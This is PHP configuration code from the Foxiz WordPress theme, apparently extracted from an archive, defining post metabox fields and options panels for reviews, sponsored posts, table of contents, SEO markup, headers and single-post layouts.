esc_html__( 'Create your review criteria based on the type you choose.', 'foxiz' ), 'type' => 'group', 'button' => '+ Add Criteria', 'fields' => array( array( 'name' => esc_html__( 'Item Label', 'foxiz' ), 'id' => 'label', 'default' => esc_html__( 'Criteria', 'foxiz' ), ), array( 'name' => esc_html__( 'Score (1 > 10) or Rating (1 > 5)', 'foxiz' ), 'id' => 'rating', 'default' => '', ) ) ), array( 'id' => 'review_image', 'name' => esc_html__( 'Review Image', 'foxiz' ), 'desc' => esc_html__( 'Upload a background header image for this review section.', 'foxiz' ), 'type' => 'file' ), array( 'id' => 'review_meta', 'name' => esc_html__( 'Meta Description', 'foxiz' ), 'desc' => esc_html__( 'Input a short description to display before the review score, For example: Good, Bad...', 'foxiz' ), 'type' => 'text' ), array( 'id' => 'review_pros', 'name' => esc_html__( 'Advantages', 'foxiz' ), 'desc' => esc_html__( 'Input advantages for this review.', 'foxiz' ), 'type' => 'group', 'button' => '+ Add Pros', 'fields' => array( array( 'name' => esc_html__( 'Item', 'foxiz' ), 'id' => 'pros_item', 'default' => esc_html__( 'advantage item', 'foxiz' ), ) ) ), array( 'id' => 'review_cons', 'name' => esc_html__( 'Disadvantages', 'foxiz' ), 'desc' => esc_html__( 'Input disadvantages for this review.', 'foxiz' ), 'type' => 'group', 'button' => '+ Add Cons', 'fields' => array( array( 'name' => esc_html__( 'Item', 'foxiz' ), 'id' => 'cons_item', 'default' => esc_html__( 'disadvantage item', 'foxiz' ), ) ) ), array( 'id' => 'review_summary', 'name' => esc_html__( 'Final Summary', 'foxiz' ), 'desc' => esc_html__( 'Input final summary for this review.', 'foxiz' ), 'type' => 'textarea' ), array( 'id' => 'review_button', 'name' => esc_html__( 'Offer Label', 'foxiz' ), 'desc' => esc_html__( 'Input a offer label (Call to action) for this product review.', 'foxiz' ), 'type' => 'text' ), array( 'id' => 'review_destination', 'name' => esc_html__( 'Offer Destination URL', 'foxiz' ), 'desc' => esc_html__( 'Input the destination URL of the offer.', 'foxiz' ), 'type' => 'text' ), array( 'id' => 'review_price', 'name' => esc_html__( 'Price Offer', 'foxiz' ), 'desc' => esc_html__( 'Input the price of the offer.', 'foxiz' ), 'type' => 'text' ), array( 'id' => 'review_currency', 'name' => esc_html__( 'Currency', 'foxiz' ), 'desc' => esc_html__( 'Input the currency of the price.', 'foxiz' ), 'type' => 'text' ) ) ), array( 'id' => 'section-sponsor', 'title' => esc_html__( 'Sponsored Post', 'foxiz' ), 'icon' => 'dashicons-bell', 'fields' => array( array( 'id' => 'sponsor_post', 'name' => esc_html__( 'Sponsored Post', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable sponsored content for this post.', 'foxiz' ), 'type' => 'select', 'options' => array( '-1' => esc_html__( '-- Disable --', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ) ), 'default' => '-1' ), array( 'id' => 'sponsor_url', 'name' => esc_html__( 'Sponsor URL', 'foxiz' ), 'desc' => esc_html__( 'Input the sponsor website URL.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => 'sponsor_name', 'name' => esc_html__( 'Sponsor Name', 'foxiz' ), 'desc' => esc_html__( 'Input the sponsor brand name for this post', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => 'sponsor_logo', 'name' => esc_html__( 'Sponsor Logo', 'foxiz' ), 'desc' => esc_html__( 'Upload the sponsor logo for this post, recommended height for the logo is 52px.', 'foxiz' ), 'type' => 'file' ), array( 'id' => 'sponsor_logo_light', 'name' => esc_html__( 'Sponsor Light Logo', 'foxiz' ), 'desc' => esc_html__( 'Upload the sponsor light logo for this post, recommended height for the logo is 52px.', 'foxiz' ), 'type' => 'file' ), array( 'id' => 'sponsor_redirect', 'name' => esc_html__( 'Directly Redirect', 'foxiz' ), 'desc' => esc_html__( 'Directly redirect to the sponsor website when clicking on the post listing title.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ) ), 'default' => 'default' ) ) ), array( 'id' => 'section-shares', 'title' => 'Fake Post Views', 'icon' => 'dashicons-visibility', 'fields' => array( array( 'id' => 'start_view', 'name' => esc_html__( 'Fake View Value', 'foxiz' ), 'desc' => esc_html__( 'Input a starting view value for this post. Leave blank if you want to display real data.', 'foxiz' ), 'type' => 'text', 'default' => '' ), ) ), array( 'id' => 'section-widget', 'title' => esc_html__( 'Entry Widgets', 'foxiz' ), 'icon' => 'dashicons-editor-insertmore', 'fields' => array( array( 'id' => 'entry_top', 'name' => esc_html__( 'Top Entry Widgets Area', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the top entry widgets for this post.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '1' ), array( 'id' => 'entry_bottom', 'name' => esc_html__( 'Bottom Entry Widgets Area', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the bottom entry widgets for this post.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '1' ), ) ), array( 'id' => 'section-toc', 'title' => esc_html__( 'Table of Content', 'foxiz' ), 'icon' => 'dashicons-editor-ol', 'fields' => array( array( 'id' => 'table_contents_post', 'name' => esc_html__( 'Table of Contents', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the table content for this post.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => 'default' ), array( 'id' => 'table_contents_layout', 'name' => esc_html__( 'layout', 'foxiz' ), 'desc' => esc_html__( 'Select a layout for the table of contents of this post.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Full Width (2 Columns)', 'foxiz' ), '2' => esc_html__( 'Half Width', 'foxiz' ), '3' => esc_html__( 'Full Width (1 Column)', 'foxiz' ), ), 'default' => 'default' ), array( 'id' => 'table_contents_position', 'type' => 'text', 'name' => esc_html__( 'Display Position', 'foxiz' ), 'desc' => esc_html__( 'Input a position (after x paragraphs) to display the table of contents box. Leave blank to use the theme option setting, Set "-1" for displaying at the top.', 'foxiz' ), 'default' => '' ), ), ), array( 'id' => 'section-pages-selected', 'title' => esc_html__( 'Break Page Selection', 'foxiz' ), 'desc' => esc_html__( 'Display page selected section when you use break pages for a lengthy content post.', 'foxiz' ), 'icon' => 'dashicons-admin-page', 'fields' => array( array( 'id' => 'page_selected', 'name' => esc_html__( 'Headings Table', 'foxiz' ), 'desc' => esc_html__( 'Input the heading for each page corresponding to the page break tags. Please input all headings for pages to show the section.', 'foxiz' ), 'type' => 'group', 'button' => esc_html__( '+Add Heading', 'foxiz' ), 'fields' => array( array( 'id' => 'title', 'name' => esc_html__( 'Input Heading', 'foxiz' ), 'default' => '', ), ) ), ) ), array( 'id' => 'section-via', 'title' => esc_html__( 'Sources/Via', 'foxiz' ), 'icon' => 'dashicons-paperclip', 'fields' => array( array( 'id' => 'source_data', 'name' => esc_html__( 'Post Sources', 'foxiz' ), 'desc' => esc_html__( 'Input the post source if it has, it will display at the bottom of post content', 'foxiz' ), 'type' => 'group', 'class' => 'small-item', 'button' => esc_html__( '+Add Post Source', 'foxiz' ), 'fields' => array( array( 'name' => esc_html__( 'Source Name', 'foxiz' ), 'id' => 'name', 'default' => '', ), array( 'name' => esc_html__( 'Source URL', 'foxiz' ), 'id' => 'url', 'default' => '', ) ) ), array( 'id' => 'via_data', 'name' => esc_html__( 'Post Via', 'foxiz' ), 'desc' => esc_html__( 'Input the post via if it has, it will display at the bottom of post content', 'foxiz' ), 'type' => 'group', 'class' => 'small-item', 'button' => esc_html__( '+Add Post Via', 'foxiz' ), 'fields' => array( array( 'name' => esc_html__( 'Via Name', 'foxiz' ), 'id' => 'name', 'default' => '', ), array( 'name' => esc_html__( 'Via URL', 'foxiz' ), 'id' => 'url', 'default' => '', ) ) ) ) ), array( 'id' => 'section-ajax', 'title' => 'Auto Load Next Posts', 'icon' => 'dashicons-update', 'fields' => array( array( 'id' => 'ajax_next_post', 'name' => esc_html__( 'Auto Load Next Posts', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable ajax load next posts for this post. This setting will override on the global setting.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => 'default' ) ) ), array( 'id' => 'section-reaction', 'title' => 'Reaction', 'icon' => 'dashicons-heart', 'fields' => array( array( 'id' => 'reaction', 'name' => esc_html__( 'User Reaction', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the reaction section at the end of this post.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => 'default' ) ) ), array( 'id' => 'section-seo', 'title' => 'SEO Settings', 'icon' => 'dashicons-chart-area', 'fields' => array( array( 'id' => 'article_markup', 'name' => esc_html__( 'Article Schema Markup', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable Schema markup for this article. Disable default schema markup for this post if you use a 3rd plugin to create another post type for example Recipe, Videos.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => 'default' ), array( 'id' => 'review_markup', 'name' => esc_html__( 'Review Schema Markup', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable review markup for this review. This option is useful in case you are using 3rd party markup plugin.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), ), 'default' => 'default' ) ) ), array( 'id' => 'section-header', 'title' => 'Site Header', 'icon' => 'dashicons-heading', 'desc' => esc_html__( 'The transparent headers is only suitable for layouts: Standard 2, Standard 5, Video 2 and Audio 2.', 'foxiz' ), 'fields' => array( array( 'id' => 'header_style', 'name' => esc_html__( 'Header Style', 'foxiz' ), 'desc' => esc_html__( 'Select a site header style for this post.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_header_style( true, true ), 'default' => 'default' ), array( 'id' => 'header_template', 'name' => esc_html__( 'Header Template Shortcode', 'foxiz' ), 'desc' => esc_html__( 'Input a Ruby Template shortcode for displaying as the website header for this page. This setting requests to select "Use Ruby Template" in site header setting in order to work.', 'foxiz' ), 'type' => 'textarea', 'default' => '' ), array( 'id' => 'nav_style', 'type' => 'select', 'name' => esc_html__( 'Navigation Bar Style', 'foxiz' ), 'desc' => esc_html__( 'Select navigation bar style for the header of this post.', 'foxiz' ), 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), 'shadow' => esc_html__( 'Shadow', 'foxiz' ), 'border' => esc_html__( 'Bottom Border', 'foxiz' ), 'd-border' => esc_html__( 'Dark Bottom Border', 'foxiz' ), 'none' => esc_html__( 'None', 'foxiz' ) ), 'default' => 'default' ), array( 'id' => 'disable_top_ad', 'name' => esc_html__( 'Top Site Advert', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the top ad site for this post.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( 'Default', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => 'default' ), array( 'id' => 'alert_bar', 'name' => esc_html__( 'Header Alert Bar', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the alert bar below the header.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( 'Default', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => 'default' ), ) ), array( 'id' => 'section-footer', 'title' => esc_html__( 'Site Footer', 'foxiz' ), 'icon' => 'dashicons-align-full-width', 'fields' => array( array( 'id' => 'footer_template', 'name' => esc_html__( 'Footer Template Shortcode', 'foxiz' ), 'desc' => esc_html__( 'Input a Ruby Template shortcode for displaying as the website footer for this post, Leave blank to set it as the default from the Theme Options panel.', 'foxiz' ), 'type' => 'textarea', 'default' => '' ) ) ) ) ); } } }PK!'a a actions.phpnu[get_font_url() ), array(), FOXIZ_THEME_VERSION, 'all' ); wp_enqueue_style( 'foxiz-editor-style', get_theme_file_uri( 'assets/admin/editor.css' ), array( 'foxiz-google-font-editor' ), FOXIZ_THEME_VERSION, 'all' ); if ( is_rtl() ) { wp_enqueue_style( 'foxiz-editor-rtl-style', get_theme_file_uri( 'assets/admin/editor-rtl.css' ), array( 'foxiz-editor-style' ), FOXIZ_THEME_VERSION, 'all' ); } } } /** set default options */ if ( ! function_exists( 'foxiz_get_tos_defaults' ) ) { function foxiz_get_tos_defaults() { $file = get_theme_file_path( 'assets/admin/defaults.json' ); if ( ! is_file( $file ) ) { return false; } ob_start(); include $file; $response = ob_get_clean(); $data = json_decode( $response, true ); if ( is_array( $data ) ) { update_option( FOXIZ_TOS_ID, $data ); } } } if ( ! function_exists( 'foxiz_redirect_plugin_activation' ) ) { /** * redirect to activate plugin */ function foxiz_redirect_plugin_activation() { global $pagenow; if ( is_admin() && ! is_network_admin() && 'themes.php' === $pagenow && isset( $_GET['activated'] ) ) { wp_safe_redirect( admin_url( 'admin.php?page=foxiz-plugins' ) ); } } } PK!/wl l panels/page.phpnu[ 'foxiz_config_section_page', 'title' => esc_html__( 'Single Page', 'foxiz' ), 'icon' => 'el el-list-alt', 'desc' => esc_html__( 'The settings below apply to the single page.', 'foxiz' ), 'fields' => array( array( 'id' => 'section_start_page_header', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'General Settings', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'page_header_style', 'type' => 'select', 'title' => esc_html__( ' Page Header Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a header style for the single page.', 'foxiz' ), 'options' => array( '1' => esc_html__( 'Style 1', 'foxiz' ), '2' => esc_html__( 'Style 2', 'foxiz' ), '-1' => esc_html__( 'No Header', 'foxiz' ) ), 'default' => '1' ), array( 'id' => $prefix . 'width_wo_sb', 'type' => 'select', 'title' => esc_html__( 'Max Width Content without Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Select a max-width for the content area without sidebar.', 'foxiz' ), 'options' => array( 'small' => esc_html__( 'Small - 860px', 'foxiz' ), '0' => esc_html__( 'Full Width', 'foxiz' ) ), 'default' => 'small' ), array( 'id' => 'section_end_page_header', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_page_sidebar', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Sidebar Area', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'sidebar_position', 'type' => 'image_select', 'title' => esc_html__( 'Sidebar Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a sidebar position or disable it for the single page.', 'foxiz' ), 'options' => foxiz_config_sidebar_position(), 'default' => 'none' ), array( 'id' => $prefix . 'sidebar_name', 'type' => 'select', 'title' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Assign a widget section for the sidebar for the single page if it is enabled.', 'foxiz' ), 'options' => foxiz_config_sidebar_name( false ), 'default' => 'foxiz_sidebar_default' ), array( 'id' => $prefix . 'sticky_sidebar', 'type' => 'select', 'title' => esc_html__( 'Sticky Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable sticky sidebar feature for the single page.', 'foxiz' ), 'options' => array( 'default' => esc_html__( 'Use Global Setting', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => 'default' ), array( 'id' => 'section_end_page_sidebar', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } }PK!9ьUpanels/single-post.phpnu[ esc_html__( 'Single Post', 'foxiz' ), 'id' => 'foxiz_config_section_sp', 'icon' => 'el el-file', ); } } if ( ! function_exists( 'foxiz_register_options_single_post_layout' ) ) { /** * @return array */ function foxiz_register_options_single_post_layout() { return array( 'title' => esc_html__( 'Layouts', 'foxiz' ), 'id' => 'foxiz_config_section_sp_layout', 'desc' => esc_html__( 'Select layouts for the single post that based on the post formats.', 'foxiz' ), 'icon' => 'el el-laptop', 'subsection' => true, 'fields' => array( array( 'id' => 'foxiz_config_section_start_sp_default', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Standard Post Format Layout', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_layout', 'type' => 'image_select', 'title' => esc_html__( 'Single Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a default layout for the single post pages.', 'foxiz' ), 'desc' => esc_html__( 'The layout automatically rollback to the "Classic" if featured image isn\'t set.', 'foxiz' ), 'options' => foxiz_config_single_standard_layouts( false ), 'default' => 'standard_1', ), array( 'id' => 'foxiz_config_section_end_sp_default', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'foxiz_config_section_start_sp_video', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Video Post Format Layout', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_video_layout', 'type' => 'image_select', 'title' => esc_html__( 'Video Post Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a global layout for the video post format.', 'foxiz' ), 'options' => foxiz_config_single_video_layouts( false ), 'default' => 'video_1' ), array( 'id' => 'single_post_video_autoplay', 'type' => 'switch', 'title' => esc_html__( 'Autoplay Video', 'foxiz' ), 'subtitle' => esc_html__( 'Autoplay the featured video when the visitors scrolling to it.', 'foxiz' ), 'switch' => true, 'default' => 0 ), array( 'id' => 'single_post_video_float', 'type' => 'switch', 'title' => esc_html__( 'Floating Video', 'foxiz' ), 'subtitle' => esc_html__( 'Floating video on the screen on scroll.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'foxiz_config_section_end_sp_video', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'foxiz_config_section_start_sp_audio', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Audio Post Format Layout', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_audio_layout', 'type' => 'image_select', 'title' => esc_html__( 'Audio Post Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a global layout for the audio post format.', 'foxiz' ), 'options' => foxiz_config_single_audio_layouts( false ), 'default' => 'audio_1' ), array( 'id' => 'single_post_audio_autoplay', 'type' => 'switch', 'title' => esc_html__( 'Autoplay Audio', 'foxiz' ), 'subtitle' => esc_html__( 'Autoplay the featured audio when the visitors scrolling to it.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'foxiz_config_section_end_sp_audio', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'foxiz_config_section_start_sp_gallery', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Gallery Post Format Layout', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_gallery_layout', 'type' => 'image_select', 'title' => esc_html__( 'Gallery Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a global layout for the gallery post format.', 'foxiz' ), 'options' => foxiz_config_single_gallery_layouts( false ), 'default' => 'gallery_1' ), array( 'id' => 'foxiz_config_section_end_sp_gallery', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_sections' ) ) { /** * @return array */ function foxiz_register_options_single_post_sections() { return array( 'title' => esc_html__( 'Content Area', 'foxiz' ), 'id' => 'foxiz_config_section_sp_section', 'desc' => esc_html__( 'Select options for content area.', 'foxiz' ), 'icon' => 'el el-th-list', 'subsection' => true, 'fields' => array( array( 'id' => 'section_start_single_content_width', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Width Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_line_length', 'type' => 'select', 'title' => esc_html__( 'Paragraph Line Length', 'foxiz' ), 'subtitle' => esc_html__( 'Optimized the line length of the post content for reading (max width: 730px).', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Full Width', 'foxiz' ), '1' => esc_html__( 'Optimal Line Length', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'single_post_width_wo_sb', 'type' => 'select', 'title' => esc_html__( 'Max Width Content without Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Select a max-width for the content area without sidebar.', 'foxiz' ), 'options' => array( 'small' => esc_html__( 'Small - 860px', 'foxiz' ), '0' => esc_html__( 'Full Width', 'foxiz' ) ), 'default' => 'small' ), array( 'id' => 'section_end_start_single_content_width', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_single_hyperlink', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Hyperlink Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'hyperlink_style', 'title' => esc_html__( 'Hyperlink Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font style for the post hyperlinks.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( 'Bold', 'foxiz' ), 'bold_italic' => esc_html__( 'Bold Italic', 'foxiz' ), 'italic' => esc_html__( 'Normal Italic', 'foxiz' ), 'normal' => esc_html__( 'Normal', 'foxiz' ) ), 'default' => '0', ), array( 'id' => 'hyperlink_color', 'title' => esc_html__( 'Hyperlink Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color value for post hyperlinks.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hyperlink_color', 'title' => esc_html__( 'Dark Mode - Hyperlink Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color value for post hyperlinks in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'hyperlink_line', 'title' => esc_html__( 'Hyperlink Underline', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color value for the post hyperlinks.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Enable', 'foxiz' ), '0' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '1' ), array( 'id' => 'hyperlink_line_color', 'title' => esc_html__( 'Underline Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the hyperlink underline. Leave blank to set as the global color.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'dark_hyperlink_line_color', 'title' => esc_html__( 'Dark Mode - Underline Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the hyperlink underline in the dark mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false, 'validate' => 'color', ), array( 'id' => 'section_end_single_hyperlink', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_single_section_qv', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Quick View Info', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_quick_view', 'type' => 'switch', 'title' => esc_html__( 'Quick View Info', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable quick view info bar (review & sponsor meta) at the top of the content.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'section_end_single_section_qv', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_single_section_footer', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Footer Area', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_tags', 'type' => 'switch', 'title' => esc_html__( 'Post Tags Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the post tags bar at the bottom of the post content.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'single_post_sources', 'type' => 'switch', 'title' => esc_html__( 'Sources Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the sources bar at the bottom of the post content.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'single_post_via', 'type' => 'switch', 'title' => esc_html__( 'Via Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the via bar at the bottom of the post content.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'section_end_single_section_footer', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_single_newsletter', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Bottom Newsletter', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_newsletter', 'type' => 'switch', 'title' => esc_html__( 'Bottom Newsletter', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the newsletter form at bottom entry content.', 'foxiz' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'single_post_newsletter_title', 'type' => 'text', 'title' => esc_html__( 'Newsletter Heading', 'foxiz' ), 'subtitle' => esc_html__( 'Input your a heading for your newsletter section.', 'foxiz' ), 'default' => esc_html__( 'Sign Up For Daily Newsletter', 'foxiz' ) ), array( 'id' => 'single_post_newsletter_description', 'type' => 'textarea', 'title' => esc_html__( 'Newsletter Description', 'foxiz' ), 'subtitle' => esc_html__( 'Input your a description for your newsletter.', 'foxiz' ), 'default' => esc_html__( 'Be keep up! Get the latest breaking news delivered straight to your inbox.', 'foxiz' ) ), array( 'id' => 'single_post_newsletter_code', 'type' => 'textarea', 'title' => esc_html__( 'Newsletter Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input your a newsletter (subscribe) shortcode or script to show at bottom entry content.', 'foxiz' ), 'default' => '[mc4wp_form]' ), array( 'id' => 'single_post_newsletter_policy', 'type' => 'textarea', 'title' => esc_html__( 'Policy Text', 'foxiz' ), 'subtitle' => esc_html__( 'Input your policy text for the newsletter form, row HTML allowed.', 'foxiz' ), 'default' => 'By signing up, you agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time.' ), array( 'id' => 'section_end_single_newsletter', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_single_box', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Author Card & Next/Prev Pagination', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_author_card', 'type' => 'switch', 'title' => esc_html__( 'Author Card', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the author information in the bottom of the content.', 'foxiz' ), 'desc' => esc_html__( 'The author box requests author information (Users > Profile) for displaying.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'single_post_next_prev', 'type' => 'switch', 'title' => esc_html__( 'Next/Prev Post Pagination', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the next/previous link navigation in single post pages.', 'foxiz' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'single_post_next_prev_mobile', 'type' => 'switch', 'required' => array( 'single_post_next_prev', '=', 1 ), 'title' => esc_html__( 'Next/Prev - Mobile Hide', 'foxiz' ), 'subtitle' => esc_html__( 'Hide Next/Prev Post pagination on the mobile device.', 'foxiz' ), 'switch' => true, 'default' => '1' ), array( 'id' => 'section_end_single_box', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_sidebar' ) ) { /** * @return array */ function foxiz_register_options_single_post_sidebar() { return array( 'title' => esc_html__( 'Sidebar Area', 'foxiz' ), 'id' => 'foxiz_config_section_sp_sidebar', 'desc' => esc_html__( 'Select settings for the single sidebar.', 'foxiz' ), 'icon' => 'el el-align-right', 'subsection' => true, 'fields' => array( array( 'id' => 'single_post_sidebar_name', 'type' => 'select', 'title' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Assign a sidebar if you select a single layout which has the sidebar. You can set an individual sidebar for each post in the post editor page.', 'foxiz' ), 'options' => foxiz_config_sidebar_name( false ), 'default' => 'foxiz_sidebar_default' ), array( 'id' => 'single_post_sidebar_position', 'type' => 'image_select', 'title' => esc_html__( 'Sidebar Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a position for the single sidebar. You can set an individual sidebar position for each post in the post editor page.', 'foxiz' ), 'options' => foxiz_config_sidebar_position(), 'default' => 'default' ), array( 'id' => 'single_post_sticky_sidebar', 'type' => 'select', 'title' => esc_html__( 'Sticky Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable sticky sidebar feature. This option will only apply to the single post.', 'foxiz' ), 'options' => array( 'default' => esc_html__( 'Use Global Setting', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => 'default' ), ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_category' ) ) { /** * @return array */ function foxiz_register_options_single_post_category() { return array( 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'id' => 'foxiz_config_section_sp_category', 'desc' => esc_html__( 'Select settings for the entry category.', 'foxiz' ), 'icon' => 'el el-folder-open', 'subsection' => true, 'fields' => array( array( 'id' => 'single_post_entry_category', 'type' => 'select', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable entry category info in the single post.', 'foxiz' ), 'options' => foxiz_config_extended_entry_category(), 'default' => 